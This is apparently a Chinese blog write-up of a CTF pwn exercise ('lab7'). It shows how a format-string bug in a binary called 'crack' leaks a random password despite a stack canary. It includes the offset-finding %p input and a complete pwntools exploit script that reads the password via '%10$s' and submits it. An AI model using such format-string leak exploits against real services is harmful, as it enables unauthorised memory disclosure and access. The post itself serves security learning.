lab7

作者: n0va | 来源:发表于2019-01-22 19:20 被阅读0次

    先checksec一波,canary开了,不能愉快地栈溢出了

    image.png

    这道题的意思很清楚,password是一个随机数,只要在第二次输入的时候相等那就可以cat 到 flag ,那么我们需要在第二次输入之前就知道password的值,这里我自然而然地想到了用gdb下断查看 password 的值,这种做法虽然在本地可以但是一但远程了就没鸟用;这就用到了格式化字符串
    首先,我们要泄漏出password的值 ,要先得到格式化字符串的地址在哪,输入一串东西"“AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p........

    image.png

    %p泄漏出了printf栈里面的东西,找到AAAA的位置,在第十个,也就是说,格式化字符串的栈的第十个位置,接下来我们就可以构造 [地址] + %10$s将password 泄漏出来,然后接下来就简单了。
    exp:

    #-*- coding:utf-8 -*-
    from pwn import *
    p = process('./crack')
    #输入"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p...."可以爆出格化字符串的偏移为10
    password = 0x804A048
    # print p32(password)
    # pause()
    payload = p32(password) + "#" + "%10$s" + "#" #输入两个#用作标记
    p.recvuntil("What your name ? ")
    p.send(payload)
    p.recvuntil("#")    #当接收到第一个#时开始返回password的内容了,接收
    r = p.recvuntil("#")  #接收到 # 结束
    # print r
    print len(r)
    pause()
    print u32(r[:4])    #因为第二个#会被接收,所以要去掉
    a = u32(r[:4])
    # print str(a)
    # pause()
    p.recvuntil("Your password :")
    p.send(str(a))
    p.interactive()
    

    相关文章

      网友评论

          本文标题:lab7

          本文链接:https://www.haomeiwen.com/subject/juurjqtx.html